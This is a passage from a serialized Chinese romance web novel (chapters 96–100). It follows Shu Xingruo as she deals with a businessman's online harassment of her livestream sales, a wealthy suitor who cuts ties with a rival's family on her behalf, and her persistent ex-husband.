“既然惠小姐这么关心他,不如你亲自跟他说?”
惠萱彤的脸色大变。
舒星若却没给她反应的机会,直接挂断了电话。
“我的午饭时间很宝贵,不想浪费在不相干的人身上。”
她站起身,拿起外套。
“惠小姐,有这个功夫来试探我,不如多花点心思在苏容泽身上。他要是喜欢你,你也不用来找我麻烦。”
舒星若拿起账单,走向收银台。
她心想,苏容泽身边竟然也有这种女人。
不过他样貌好,家世好,工作能力强,人品又正,招蜂引蝶也是正常。
回到公司,冯胜一脸苦瓜色,“舒总,我们四个平台的直播间都有黑子了,而且量特别大,今天的销售额掉了四分之三。”
姜学名这个老狗,下手竟然这么狠。
“我知道了,等一下我会处理。”
门店还没装修好,他们还得依赖网络销售渠道。
舒星若在办公室来回踱步,思考怎么对付姜学名。
苏容泽过来了,他的人一直在盯着舒星若公司直播间,有异动就汇报。
苏容泽说:“我的人在查黑子来源。”
舒星若开口:“不用查了,是姜学名干的。”
“姜学名,他又发什么神经?”苏容泽难以置信。
舒星若将上午姜学名来过的事说了,听到他要娶舒星若,苏容泽恨得咬牙切齿。
这个老东西,一把年纪,竟然肖想舒星若。
苏容泽问:“你有法子对付他吗?”
舒星若说:“正在想。”
如果舒星若对付不了他,苏容泽不介意拿揽月药业的股价开刀。
股价暴跌,姜学名必然会妥协。
但是苏容泽也会付出巨大的代价,毕竟揽月的体量不小。
这是舒星若不希望看到的,她不想连累苏容泽。
“我开这家公司就是为了我儿子的抚养权,老登逼得狠了,大不了我关门。”她看了看窗外认真工作的同事:“只是我担心他们会失业。”
苏容泽理解她肩上的责任。
她不想过多牵连苏容泽,“没事,我自己应付得来。如果搞不定,你明天晚上陪我直播。”
她刚宣布离婚,加上她最近治好了不少疑难杂症,在网上名气不错。
苏容泽迷妹众多,两人合体直播会挽回一波。
苏容泽说:“好!”他饱含深情的望着舒星若:“无论如何,我都会帮你的。”
苏容泽走后,舒星若想了很久,她想起姜学名提过当年是舒延兆赶他走的,也许有什么黑料在外公手上。
拨通电话,“外公,您认识姜学名吗?”
舒延兆的语气不太好:“你提那个畜生干什么?”
“他找我麻烦,老是在我们直播间搞事情。我想问一下您他有没有什么黑料,有的话我好跟他谈判。”
舒延兆怒气冲天:“他有什么脸找你麻烦?你等一下,我回家给你发一份文件。”从小到大,舒星若从来没见外公这么生气过。
行止堂离家里大概二十分钟车程,半小时后,舒星若的微信里收到了几十张文件。
舒星若打开逐一看了,是两份药物研发的详细数据。里面清楚记载了,揽月药业的两种药物对人体的有害性。
当年舒延兆被邀请到F大演讲,姜学名在台下发问,提出的问题非常深刻,使舒延兆对他印象深刻。
演讲散场之后,姜学名特意等着舒延兆,提出来要拜
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他为师,跟他学习中医。
舒延兆十分爱才,当场收了这个徒弟,教授他中医药知识。
当时姜学名已经在研发药物了,一直没有成功。
跟着舒延兆学习了一段时间之后,他加入了中草药,很快达到理想效果。
但是舒延兆却发现不妥,这两个药对肾脏和心肺有慢性伤害,他提醒姜学名改药物配方。
姜学名却不愿费力费神,坚持发布药物,药上市之后舒延兆气得将他赶出了行止堂。
舒延兆不甘心,去找领导反应那两种药物的问题,但是姜学名提前买通了他们。
这两只药物一直在市面上流通了几年才停产,给揽月制药带来了巨大的经济效益。
舒星若不想鱼死网破,她把姜学名从黑名单里放出来。
打给姜学名,姜学看着来电显示得意的笑了,小丫头终究还是妥协了。
“星若,找我有什么事?”
舒星若忍着恶心说:“姜总,你应该还记得天水冬碱和速方救心剂吧?”
姜学名说:“那是我揽月制药的开山之作,怎么会不记得?”
“他们对肾脏和心肺有慢性损害,你应该也没有忘。”
姜学名早料到她有这一手,并不害怕:“舒延兆当年就去领导那告过我,结果无功而返。你认为你的威胁对我有用吗?”
舒星若微微一笑:“当年有人可以只手遮天,现在可不一样,互联网的嘴你可堵不住。”
姜学名一点都不带怕的,“你有证据吗?”
“没有证据我会给你打电话吗?照片我已经发到你手机上,原件在我外公手上,你要是继续对付我,我不介意来个鱼死网破。”
舒星若挂了电话。
一小时后,冯胜开心的来说:“黑子们已经撤了。”
姜学名打来电话:“我只是暂时偃旗息鼓,今晚你陪我吃餐饭,往事一笔勾销。你要是不来,我就继续跟你斗。”
臭不要脸,舒星若挂了电话骂道。
她打给苏容泽:“你晚上能不能借几个保镖给我?”
第96章 爱她怎么不为她报仇呢
苏容泽紧张的问:“季宴礼又找你麻烦?”
舒星若说:“不是,姜学名非要约我吃饭。说吃完饭以后就不对付我了,我怕他会对我不利。找几个保镖让他投鼠忌器。”
苏容泽立刻说:“晚上我陪你去,多带几个保镖。”
“好!”
舒星若坐着苏容泽的车到达的餐厅,姜学名从楼上的窗户里看见两人一起下车。两人外貌上十分般配,气得姜学名捏碎了手中的高脚杯。
他总算知道舒星若为什么对自己不屑一顾了。
苏容泽没有跟她一起进包厢,舒星若进去的时候身后跟着六个魁梧的保镖。
姜学名瞟了一眼他们六个,心情全无。
“你怕我吃了你?”
舒星若坐下,“防人之心不可无。”
“他们在这里我可没心情吃饭。”
舒星若挥挥手:“你们在门口守着。”
“是!”
连声音都在震慑姜学名。
姜学名给舒星若倒了一杯白葡萄酒,“这是你妈最喜欢的酒,当年她说有钱的话就买下这个酒庄。现在我做到了。”
姜学名足够有钱之后,买下了那个酒庄,缅怀他的青春。
舒星若忽然来了兴致:“你那么爱她,她被何宏夫妻俩气死,这么多年你为什么不给她报仇?”
“气死?”姜学名脸色大变,“她不是**的吗?”
“她为什么**你用脚都想得出来。”
姜学名眼神黯淡了下来:“舒月过世以后,我去查过,医院里她所有的病历被人毁了,给她看病的医生也不见了。”
舒星若说:“我妈离婚后就得了重度抑郁,她一边心理治疗我外公一边给她治病,本来病情有所好转。你猜她为什么在我三岁那年突然**?”
舒月离婚后一直对姜学名避而不见,他摇头:“我不知道。”
“何宏跟我妈经营的药房在港城开了分店,夫妻俩跑来耀武扬威,给了我妈最后一击。”
舒家人不想舒星若记仇,没提过这事。但是王阿姨疾恶如仇,所有的事都告诉她了。
所以舒星若从来都不认何宏,恨他们入骨。
“你不是爱我妈吗?去弄死何宏。”
舒星若对姜学名所谓的爱嗤之以鼻,她看过苏容泽给的调查记录,姜学名这些年可没少找女人。只是他一直不结婚,也没有孩子。
有钱人不要婚姻的大把,怕稀释财富。老东西一直防备着所有人。
舒星若觉得是他丧良心的事干得太多,老天爷给的报应。让他的财富后继无人。
姜学名沉默不语,舒星若嘴角挂上一抹嘲讽的笑容:“你对我妈的爱也不过如此,姜总,人最好不要自欺欺人。”
他看上自己,不过是因为自己年轻漂亮,再加上长了一张他白月光的脸。得不到的永远是最好的。
他连何欣都要,舒星若才不相信他给自己立的深情人设。
姜学名沉声道:“我会去查当**,如果我发现是何宏干的,我一定不放过他。”
舒星若眼含鄙视,他跟季宴礼一样的可笑,明眼人一眼看出来的事,非要什么证据。又不是上法庭,要证据干嘛。
“行,你慢慢查。”
这个查就是遥遥无期。
姜学名端起酒杯,“你陪我喝杯酒。”
“对不起,我不喝酒。”舒星若对外人给的酒很惧怕,她怕像六年前一样被人下药。
姜学名独自喝酒,舒星若象征性了吃了几口菜,吃得如同嚼蜡。
姜学名有点不高兴:“跟我吃饭,让你这么食不知味?”
舒星若冷笑:“我跟你无冤无仇,就因为我姓舒,你三番五次的找我麻烦。我能吃得下才有问题吧?”
“对不起,星若,以后我不会再针对你了。”
他不是真心忏悔,他只是怕身败名裂。
他端起酒杯,“希望我们下次见面时朋友。”
舒星若站起身来:“不可能的,我跟奸商做不了朋友。”
“姜总,希望我们不要再见面。”
姜学名只觉得心口疼,当年舒月也说过类似的话。
“姜学名,我希望自己从来都没有认识过你。”<
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br>仿佛时光交错,姜学名神情恍惚了起来。
舒星若径直走了,见舒星若安然无恙的出来,苏容泽松了一大口气。
舒星若也觉得有他在,自己心里踏实很多。
“走,陪你吃饭去。”
苏容泽诧异:“你刚在里面没吃吗?”她进去了一个小时,饭应该吃完了。
“对着一个老变态我能吃得下吗?”
苏容泽脸上漫开笑容,“他确实变态。”
还是跟苏容泽一起吃饭比较自在,苏容泽说:“我爸妈下周回国,家里搞了个宴席,你陪我一起好不好?”
就是惠萱彤说的那个家宴,舒星若挤出一个笑容:“你们的家宴,我去不太合适吧!”
苏容泽说:“我外婆也会去,她叫我带你去呢。”
甘净莲觉得两人很般配,舒星若又离婚了,催促苏容泽赶紧追。
舒星若为难的说道:“啊?你妈不是让惠萱彤去吗?我再去,像什么样子。”
苏容泽蹙眉:“你怎么知道惠萱彤?她去找过你。”
“嗯。”
苏容泽心跳加快:“她跟你说了什么?”
“她说你们是青梅竹马,还说了什么我配不上你的屁话。虽然我是配不上你,但我不喜欢她那副高高在上的姿态。”
舒星若是个内核很稳的人,她觉得惠萱彤这种只会刷附属卡的大小姐,跟自己这种辛苦创业的人比不了。
大小姐离开家庭啥也不是。
苏容泽眼里的怒气立刻凝聚,“她凭什么跟你胡说八道?”
“还有,星若,你就是最好的,没有配不上我。”
舒星若有自知之明,苏家关系复杂,她可不想去趟洪水。
“我就要把你介绍给苏家所有的人。”
舒星若摇头拒绝:“算了,你们家人多口杂,我又离过婚,我不想听他们的闲言碎语。”她没见过他妈妈,但是她只当苏容泽是朋友,没有必要去他家。
送回舒星若后,苏容泽神色变得冷峻,他打了个电话,声音带着愤怒:“停了东盛与惠家所有的合作。”
第97章 绝不让她受委屈
宗司辰惊讶于苏容泽的决定,但面色平静的汇报着:“苏总,我们和惠家的多项合约尚未到期,如果单方面终止,需要支付九位数的违约金。”
“没事,该付就付。”
苏容泽的语气很淡,仿佛那九位数只是一个无足轻重的数字。
“只要让惠家难受就行。”
惠家70%的业务都依赖东盛,这无异于釜底抽薪。
宗司辰应声:“好,明天一早我就发出通知。”
惠萱彤不是总以自己的高贵身份自居吗?
没了东盛的订单,他倒要看看,她还能高贵到哪里去。
苏容泽不会任由舒星若被旁人欺凌,动了她的人,就必须付出代价。
过去她有婚姻的束缚,他不好插手。
现在她自由了,他便可以毫无顾忌地护着她。
第二天清晨,一封来自东盛集团的邮件,让整个惠家炸开了锅。
惠元德,惠萱彤的父亲,看着那封措辞冰冷的解约通知,整个人都懵了。
几天前,苏家才邀请他女儿参加家宴,他还为此沾沾自喜,以为女儿嫁入苏家是板上钉钉的事。
他还盘算着,有了苏家这个大靠山,惠家定能更上一层楼。
风向怎么说变就变了?
东盛宁可赔付天价违约金也要解约,这说明苏容泽是真的动了怒。
他拨打苏容泽的电话,无人接听。
电话打到东盛总裁办,宗司辰只公式化地回复。
“这是苏总亲自吩咐的。”
惠元德追问:“苏总没提是什么原因吗?”
宗司辰在电话那头沉默片刻,苏容泽向来理智,能让他如此动怒的,恐怕只有舒星若。
“惠总,具体情况我也不清楚。”
惠元德头晕脑胀,只能把最后的希望寄托在女儿身上。
“萱彤,你去问问苏容泽,他为什么要突然终止我们所有的合同!”
惠萱彤接到电话时,心脏病都快被吓出来了。
“爸,这到底怎么回事?”
惠元德的声音透着疲惫与绝望:“东盛集团,停了跟我们家所有的合作。”
一阵寒意从惠萱彤的脚底升起。
难道是因为昨天她去找舒星若说的那些话,苏容泽就发了这么大的火?
那可是上亿的违约金。
两家也合作了这么多年。
她不敢去想,苏容泽究竟把舒星若看得有多重。
惠元德还在催促:“他妈不是还邀请你参加家宴吗?你快去问问他,这到底是什么意思。”
她拨通了苏容泽的电话,这一次,电话接通了。
然而,听筒里传来的声音比冬日的寒冰还要冷。
“不必求情,我心意已决。”
话音刚落,电话就被无情地挂断。
惠萱彤眼眶红肿,找到正在和舒星若吃午饭的苏容泽。
这是她找的第三家餐厅了,苏容泽常去的餐厅她一家家的找过来。
隔着包厢的门缝,她看到苏容泽正给舒星若剥着黑虎虾,动作专注而耐心,剥好的虾肉整齐地码放在舒星若的餐盘里。
那是她从未见过的苏容泽。
强烈的嫉妒几乎要将她吞噬。
她推门而入,苏容泽抬起头,周身的气压瞬间降了下来。
“阿泽,我不明白,你为什么突然要终止和我家的合作?”
苏容泽将手中的虾放下,眼神陡然冰冷。
“没有合作的必要了。”
舒星若在一旁看得兴致勃勃,这两人之间是发生了什么事,气氛如此剑拔**张。
惠萱彤的眼泪瞬间滑落:“阿泽,你不能这样对我,你这样让我很难过,你以前对我很好的。”
苏容泽的声音依然没有半分温度。
“我们只是以前的邻居,没有什么青梅竹马。希望你以后,管好自己的嘴。”
舒星若想:“管好嘴?难道是因为昨天她的刻意高贵。苏容泽这也太护我了吧!”
惠萱彤哭得梨花带雨,伸手去拉苏容泽的袖子:“阿泽,我错了,你再给我一次机会好不好?”
苏容泽猛地抽回手,他向来反感其他女人的触碰,尤其是在舒星若面前。
“别在这里拉拉扯扯,我心意已决。”
惠萱彤明白他向来说一不二,但她不能眼睁睁看着自己的家就这么垮掉。
她把求助的目光投向舒星若。
“舒小姐,对不
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起,昨天是我口不择言。你劝劝阿泽,他这么做,我们家就全毁了。”
舒星若放下筷子,看向苏容泽,神情里带着几分探究。
“你是因为昨天她说的那些屁话,就终止了合作?”
苏容泽点了下头。
舒星若觉得他有些大费周章,但被人这样毫无保留地维护着,心里涌起一股暖流。
她转向惠萱彤。
“惠小姐,你是成年人,既然管不好自己的嘴,那我也帮不了你。”
惠萱彤还不死心,继续说道:“对不起,我真的是无心之失。而且因为这个东盛也要赔上亿的违约金。”惠萱彤打心底的瞧不上舒星若,一个男人为他平白无故损失这么多钱,她肯定会劝。
舒星若却淡淡的开口:“东盛损失上亿,你家损失的更多吧?惠小姐,以后要扮高贵公主也要看看自己有没有这个实力。”
苏容泽看着舒星若笑了,他选的女人实力就是这么强悍。
惠萱彤只觉得眼前一阵发黑,所有的力气都被抽空,踉跄着退出了包厢。
惠萱彤的身影消失在门外,包厢里瞬间安静下来,只剩下食物细微的香气和两人之间沉默的呼吸。
苏容泽重新拿起那只剥了一半的黑虎虾,继续着刚才的动作,仿佛什么都没发生过。
他将剥好的虾肉,再一次放进舒星若面前的白瓷盘里。
舒星若看着盘子里堆起的小山,终于开了口,声音很轻。
“为了我,赔上九位数,值得吗?”
她不是不谙世事的小女孩,她清楚那份解约通知对惠家意味着什么,也清楚苏容泽为此付出了什么。
苏容泽没有看她,只是又拿起一只新的虾。
“你的心情,比合约更重要。”
一句话,轻飘飘的,却重重地砸在舒星若的心上。
她觉得心口有些发烫,一股陌生的情绪在蔓延。
原来被人这样珍视,是这种感觉。
她拿起筷子,夹起一只虾仁放进嘴里,慢慢地咀嚼。
鲜甜的味道在味蕾上散开,却不及心里的万分之一。
她看向苏容泽:“你对我这样好,万一我辜负了你怎么办?”
第98章 何欣被打得很惨
“辜负?”苏容泽坏笑着说:“那你先跟我在一起呗,然后你发现我的好,就舍不得辜负我了。”
舒星若舞着嘴巴,自己说错一句话就被他抓住。
“那个,我暂时还不想跟你在一起。”
苏容泽歪头看向她:“只要你的心不在别的男人身上我就不急。”
舒星若嘴角上扬:“还能在哪个男人身上?几乎一日三餐都跟你一起。”每天睁眼就能看见他。
苏容泽伸手想抱她,他问舒星若:“可以抱你吗?”
人与人极大的不同,季宴礼想抱就抱,从不问她的意见。
而他是端方君子,必须要经过她的同意。
舒星若在他身边的安心感是季宴礼给不了的,她大方的主动拥抱苏容泽。
“谢谢你为我做的一切。”舒星若抱着他,坚实的身体让她感到温暖与感动。
苏容泽第一次抱他,心中早已汹涌澎湃,“星若,不如我们试试在一起。”
舒星若望着他:“你跟我在一起可能会面对极大的阻力。首先我离过婚带着孩子,其次我们门不当户不对,最重要的一点是我不能生育。”
苏容泽眼神炙热,深情即将溢出,“那又怎样呢?你觉得我不能排除万难跟你在一起吗?”
舒星若说:“我从不怀疑你的真心,但我怕自己耽误你的人生。这样吧,外公在给我治病,如果治好了我们就在一起。”
“好!都听你的。”
季氏集团内,季宴礼昨天已经出院,今天正常上班。
他让言永飞去查舒星若到底住在哪里,言永飞很快查到舒星若住进了苏容泽名下的别墅里。
季宴礼心口凝滞:“她这是死心塌地的要跟苏容泽在一起了吗?”
言永飞不语,他心想:“这不明显的吗?苏容泽对她那么好,不在一起干嘛要离婚。”
季宴礼又问道:“最近苏容泽有什么动向?”他让人盯着苏容泽的一举一动,找到错漏,他一定狠狠地报复他。
不是他从中作梗,自己和舒星若不会这么快离婚。没有他,也许舒星若压根就不想离婚。
言永飞说:“听说今天早上突然停了跟惠明集团的合作,违约金上亿,惠萱彤亲自去求情都被赶了出来。”言永飞瞟了一眼,小心翼翼的说:“当时太太跟苏容泽在一起吃饭。”
季宴礼蹙眉:“星若那么爱吃醋,为什么她不吃惠萱彤的醋?跟苏容泽哭闹。”
言永飞说:“也许他们没有谈恋爱,太太不在乎。”
季宴礼深以为然:“对,舒星若压根就不爱他,所以不在意。”
想到这一点他心情大好,“去买一把上好的吉他。”
他最近几天都是听着舒星若弹吉他唱歌的视频入睡,她说过自己是她的一生中最爱。
他只是不小心将她弄丢了,他一定会把她找回来。
舒星若吃完午饭回到公司收到姜学名的一条视频,何欣穿着单薄的病号服被人绑在栏杆上,两个人拿着棒球棍狠狠地打她的肚子。
何欣叫得凄厉,肚子上全是血。
姜学名发信息:【她害得你没了孩子,我替你报仇。】
虽然何欣倒霉她就高兴,但是她不想跟姜学名扯上关系。
没有回他,姜学名等不到他的感谢,立刻打电话过来:“怎么,对我的安排不喜欢?”
舒星若直接装傻:“什么安排?”
“你看看视频,我一会打给你。”
舒星若说:“姜总,我今天很忙,一直在开会。晚上再说吧。”
“行,我等你。”
能拖一时是一时。
下午舒星若忙完工作的事,照旧给病人看病。
来了一个中年妇人带着一个挺着大肚子的小女孩,目测有七个月的身孕。
舒星若瞪大了眼睛,问黄丽歌:“这是未成年怀孕?”
黄丽歌说:“我看了身份证,二十岁,她叫耿兰兰。”
到了结婚法定年龄就好,舒星若观察耿兰兰气色不错,便问道:“你是哪里不舒服?”
耿兰兰没开口,中年妇人忙说:“我儿媳妇晚上睡不好,舒神医你替她看看。”
舒星若说:“不要叫我神医,叫我医生就行了。”
“好的。”妇
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人唯唯诺诺的答应着。
舒星若给耿兰兰号脉,两只手都号了,没什么异常。
舒星若说:“你这也没事啊,不应该晚上睡不好的。去医院做产检没有?”
耿兰兰说:“没有。”她看向她婆婆说:“妈说医院里的机器对孩子身体不好,不让我去。”
舒星若怒斥道:“胡闹,怀孕必须去医院定期产检。你年龄这么小,并不是生孩子的黄金年龄,更加要注意。”
都不愿意去产检,那为什么要来自己这里?
舒星若感觉他们可能什么阴谋。
耿兰兰的婆婆脸上带着狡黠:“舒医生,您既然号了脉,就该知道她肚子里怀的是男是女。我家三代单传,不能生女儿的。”她听人说厉害的中医能号出胎儿性别,比B超还准。
舒星若对她的言论嗤之以鼻,她可不愿意跟这愚昧女人多费唇舌。
她下了逐客令:“请你们出去,不要妨碍我为下一位病人诊治。”
妇人却不干了,可劲的在地上撒泼打滚,“你这个黑心医生,收了钱,都不肯告诉我孩子的性别。你要是害得我家无后我非杀了你不可。”
舒星若让黄丽歌拿来一百块退给她,“你别在我这里耍无赖,我不吃你这一套。你要造谣我尽管去,我这里有监控。你们要是不走,我就叫保安把你们丢出去。”
妇人拿着一百块赶紧走了。
舒星若看完后面的病人,总觉得这件事没这么简单。
她问黄丽歌,“他们是怎么预约上的?”
黄丽歌说:“我们都是随机抽的,有些号没有实名制,可能被人家钻了空子。”
舒星若思考了片刻后说道:“以后抽的病人的社交账号必须跟身份证对上,先去官号发这条通知,防止有些人炒作号。”
“好的,我这就去办。”
她回到家的时候,只见季宴礼抱着一把泰勒314CE的吉他站在院子门口。
季宴礼穿的是第一次她遇见他,穿的那件墨绿毛衣。
舒星若冷笑道:“季总真是手眼通天,这么快就找到了我的住所。”
第99章 你好,前夫哥
季宴礼以为她会想起那时的光景,毕竟他八年前的衣服都穿得下,身材和容貌都没变。他站在那里,还是那个无数女孩倾慕的季宴礼,一样的挺拔帅气。
想不到她张口就是挖苦。
他攥着吉他的手紧了紧,琴颈的木质纹理硌着掌心,带来一丝不真切的痛感。
“星若,你要离婚,婚也离了。你对我态度就不能好了吗?”
舒星若对他还有恨,恨他对何欣的纵容,恨他眼瞎心盲。
瞎子都能看得出来何欣害了他们的孩子,可他却无动于衷。
每当想起这些,她就忍不住想用尖酸刻薄的话去刺他。
但她忽然觉得累了,像一根绷紧了太久的弦,终于失去了回弹的力气。
她应该放弃对他的所有期许,要当他是陌生人,无爱也无恨。
毕竟,他从未护过自己。
舒星若深吸一口气,将心底翻涌的情绪压下去,淡淡道:“知道了。”
季宴礼见她神色舒缓了些,以为自己的话起了作用,忙将手中的吉他递给她:“送给你。”
舒星若看着那把崭新的古典吉他,琴身在夕阳下泛着温润的光泽,漂亮得像一件艺术品。
她却觉得刺眼。
“好好的送我吉他干嘛?”她纳闷地问,“你不是最讨厌我弹吉他吗?”
在季家的六年,吉他是禁忌。因为毕业典礼上,她抱着吉他为他弹唱了那一首《一生中最爱》,他就厌恶至极,连带着将她的爱好也一并封存了六年。
季宴礼的眼睛对上她明亮又疏离的眸子,喉结滚动了一下,“当初是我一直对你有偏见,这么多年一直不让你弹吉他,对不起。你收下这把吉他,就当是我赎罪。”
赎罪?多么轻飘飘的两个字。
舒星若斜睨他一眼,嘴角勾起一抹凉薄的笑意,冷冷地说道:“不用了,我已经不会弹了。”
当初她为了毕业典礼那首歌,练了整整三个月,指尖磨出带血的茧,又被磨平。
她反复地唱,只想在离别时,笨拙地道出自己埋藏在心底两年的心意。
她没想过拆散他们,只求一个不留遗憾的告别,却被他痛恨厌恶了这么多年。
六年,足够让指尖的茧消失得无影无踪,也足够让心口的伤疤变得麻木。
就在这时,一辆黑色的宾利悄无声息地驶入院子,车门打开,苏容泽从驾驶座上下来。
他一眼就看见了杵在院子里的季宴礼,眉头蹙了一下,随即又松开,当他是空气。
他径直走向舒星若,目光柔和,声音里带着自然的亲昵:“晚上吃什么?”
刚才还满身是刺的舒星若,脸色瞬间变得温柔下来,紧绷的肩膀也松弛了,眼角眉梢都染上了一丝笑意:“吃火锅。”
季宴礼的脸色瞬间晦暗下来,像被泼了一盆冰水,从头凉到脚。
他看着他们之间那种无需言语的默契,心口像是被什么东西狠狠撞了一下,又酸又胀。
“他为什么来你家吃晚饭?”他质问道,声音里带着些许颤抖。他再也不是那个不可一世的季总了。
舒星若平静地回应道:“因为他是我朋友。”
这句话像是一道无形的墙,将他彻底隔绝在外。
季宴礼不甘心地走到她跟前,几乎是逼视着她:“那我呢,我现在是你什么人?”
不等舒星若回答,一旁的苏容泽突然冷笑一声,慢悠悠地开了口,每个字都精准的在季宴礼的雷区上蹦迪:“前夫哥呗。”
“前夫哥”三个字像是一记响亮的耳光,狠狠扇在季宴礼的脸上。
他感觉全身的血液都冲上了头顶,想把苏容泽那张云淡风轻的脸按在地上暴打一顿。
舒星若见季宴礼已经攥紧了拳头,青筋毕露,生怕他在这里发疯,吓到刚从屋里探出小脑袋的季知许。
她不想给苏容泽惹麻烦,也不想让儿子看到这难看的一幕。
她不动声色地往前站了半步,挡在两人中间,劝和道:“他开玩笑的,你不要介意。你是许许的爸爸,这一点永远都不会变。”
季知许立刻从门后跑出来,抱住季宴礼的腿,用力点头表示:“妈妈说的没毛
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病。”
得了儿子的声援,季宴礼像是找到了台阶,气焰又嚣张起来:“那我要进去陪我儿子吃饭。”
舒星若蹙眉拦住他,“等一下我还有两个朋友来,你在不太方便。”
林安禾与杨思淼那两张嘴,一个比一个损,要是让他们知道季宴礼在这儿,非得把他气成植物人不可。
季宴礼却不肯走,摆出了一副死缠烂打的架势:“我就要跟你们一起吃饭。”
苏容泽看热闹不嫌事大,嘴角噙着一抹挑衅的笑:“你要是不介意我们帮星若庆贺离婚,你大可以来参加。”
“庆贺离婚?”季宴礼的脸色瞬间惨白,嘴唇都在哆嗦,“离开我都让你庆祝上了?”
舒星若发现季宴礼简直有让人血压飙升的超能力,她忍住翻白眼的冲动,耐着性子说:“你不是说周末谈儿子抚养权吗?周末我们再说。”
话音刚落,杨思淼和林安禾的车也到了。
两人拎着大包小包的礼物下车,一抬头就看见院子里这剑拔**张的修罗场,季宴礼和苏容泽一前一后地站着,那画面,足够他俩脑补出八十集豪门恩怨大戏。
杨思淼眼尖,一眼就锁定了脸色铁青的季宴礼,热情地扬起手打招呼:“HI,前夫哥。”
季宴礼气得快要原地**,指着杨思淼对舒星若吼道:“叫你朋友不许喊我前夫哥!”
杨思淼张嘴就要反驳,舒星若及时对他使了个眼色,示意他别再火上浇油。
杨思淼硬生生地把到嘴边的“凭什么”给咽了回去,做了个给嘴巴拉上拉链的动作。
舒星若牵着季知许,半推半劝地把季宴礼往他车边送。
季宴礼说:“我走可以,你必须收下吉他。”
舒星若无奈的接过来,心想收了我也不会弹。
季知许仰着小脸,乖巧地说:“爸爸再见,我会照顾好妈妈的。”
他俯身刮了一下儿子的鼻子,强撑着慈父的形象,“记得每天晚上跟我视频。”
“好!”
送走了瘟神,院子里的空气都清新了不少。
第100章 要不要睡帅哥
林安禾一把捏住季知许的小肉脸,嘿嘿笑道:“行啊你个小东西,几句话就把你爸哄成了**,乖乖滚蛋了。你这嘴将来不当律师屈才了。”
舒星若哭笑不得地拍了她一下:“别在孩子面前胡说八道。”
杨思淼则一脸惆怅地感慨:“有小屁孩在,咱们说话是真不自在,好多荤段子都得憋着。”
苏容泽刀了他一眼,抱起季知许:“你就不能做个人吗?”
杨思淼被他的眼神吓了一跳,“二哥,别用这种眼神看我,我的小心脏受不了。”
苏容泽给了他一脚:“知道就好,以后不许在孩子面前胡说八道。”
季知许被护着很开心,贴心的搂着苏容泽的脖子,“苏叔叔最好了,我一会吃完就上楼玩平板,不妨碍你们聊天。”
林安禾又想掐他的脸,被他趴在苏容泽肩膀上躲过了。
“小家伙,你现在有靠山了是吧?”
季知许小脸一杨,“对,苏叔叔就是我的靠山。”
他从小到大,季宴礼只是平时在家带他,公众场合从不带他。唯一的一次还是上次迪士尼,中间被何欣叫走了。
苏容泽这样护着他,让他觉得很有安全感。
苏容泽笑着抱得更紧了些,舒星若心中一阵恍惚,他这么喜欢孩子,自己要是跟他在一起,那不是连累他?
几个人一前一后的进去,林安禾在后面问舒星若:“你们进展到哪一步了?”
“友达以上,恋人未满。”
林安禾望着苏容泽高大的背影说:“你就不想再睡一个帅哥?苏容泽看着体力很不错,又体贴温柔,比季狗强多了。”
舒星若叹口气道,“睡完了不用负责吗?他们苏家可比季家复杂多了。”舒星若能在季家生活六年,季家安和韦瑛对她好有很大的因素。
苏家她只是听了一些,就明白全是一群心机鬼。到时候斗生斗死的,太累了。
林安禾揽过她的肩膀,“你别东拉西扯的,你就说你想不想睡他吧?”
“不想。”
苏容泽何等人?他们身份差距过大,她不敢肖想。
林安禾肘击她一下:“你这个榆木脑袋,真是离个婚把胆子都变小了。当年义无反顾的嫁给季狗,现在谈个恋爱都畏手畏脚的。”
舒星若说:“一朝被蛇咬十年怕井绳。”
林安禾摇摇头,她怕舒星若错过了幸福的机会。
吃饭期间,因为季知许在,大家都比较收敛。
小机灵鬼狼吞虎咽得吃完,眨巴着大眼睛说,“我吃完啦,不妨碍你们了。”跑上楼去玩平板了。
杨思淼立马端杯:“祝若姐以后越来越漂亮,早日找到如意郎君。”他说着,眼神看向苏容泽。
苏容泽与舒星若碰杯:“希望你以后能按照自己的心意生活。”
林安禾也举杯:“离婚快乐!远离季狗,尽享美好人生。”
大家把酒言欢,天南海北的聊着。
舒星若忽然想起何欣的事,拿出手机,将姜学名给她发的视频给大家看。
苏容泽眉头紧锁,“他为什么帮你收拾何欣?”
杨思淼想讲又不敢讲,苏容泽冷哼一声,“有话快说。”
杨思淼说:“这还用说,老变态看上了若姐呗。想先在若姐心中树立他能帮若姐的形象。”他瞟了一眼苏容泽沉郁的脸:“不过他这是痴心妄想,若姐除非眼瞎了才能看上他。对吧,若姐?”
舒星若说:“他跟何欣睡过,而且年纪又大,我有脑子也不会搭理他。只是他成天阴魂不散的,一直被他纠缠很烦。”
林安禾拿过她的手机回:【不必为我做任何事,我已经离婚了,跟何欣的恩怨情仇一笔勾销。】
姜学名立刻打来电话:“她害得你没了孩子,我替你报仇,你竟然不感激我?”
舒星若声音冷若坚冰:“姜总,不要为我做任何事,我没有报仇的想法,我只想好好的享受生活。”
“知道了。”姜学名恼怒的挂了电话。
舒星若向林安禾竖起了大拇指。
散场之后,杨思淼非要和苏容泽一起走。
“二哥,你还不拿下若姐,她要被别人抢走了。她即使离婚了,前夫哥还
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是紧追不舍。虽然姜老头不能构成威胁,但是他恶心啊。”
苏容泽沉声道:“你以为我不想吗?她有诸多顾虑,而且跟我在一起要面对苏家那些人,我给她足够的时间考虑。”
就两人这磨磨唧唧的性子,杨思淼都急**。
“谈恋爱不用考虑那么多,结婚才要考虑。”
苏容泽说:“我谈恋爱就是奔着结婚去的。”他理想中的妻子就是舒星若,虽然她不能生育,但人生不可能十全十美。
杨思淼感觉自己被他彻底打败:“行吧,你开心就好。”
舒星若的房间里,林安禾留下跟舒星若一起睡,两人躺在床上聊天。
“你都被老头惦记上了,还不赶紧跟苏容泽在一起。就你这身材样貌,觊觎你的**把。”
舒星若淡然一笑:“我每天两点一线,也没什么机会认识陌生人。问题不大。至于姜学名,他发神经追我只是因为我长得像我妈。”
“啥?”林安禾像听到什么天方奇谭,“你们之间还有这样的渊源?”
舒星若简单叙述了一下姜学名和舒家的恩怨情仇。
舒星若说:“其实他揍何欣我还蛮开心的,我倒希望他发疯,连同何宏一起收拾了。就是怕他一直来纠缠我。”
舒星若深知何欣被季宴礼抛弃,被姜学名殴打,她一定会把这些算在自己头上。
两人本来就是死敌,何欣只要有口气在,肯定不会放过自己。
同样,自己有机会也会找她的麻烦。
不死不休。
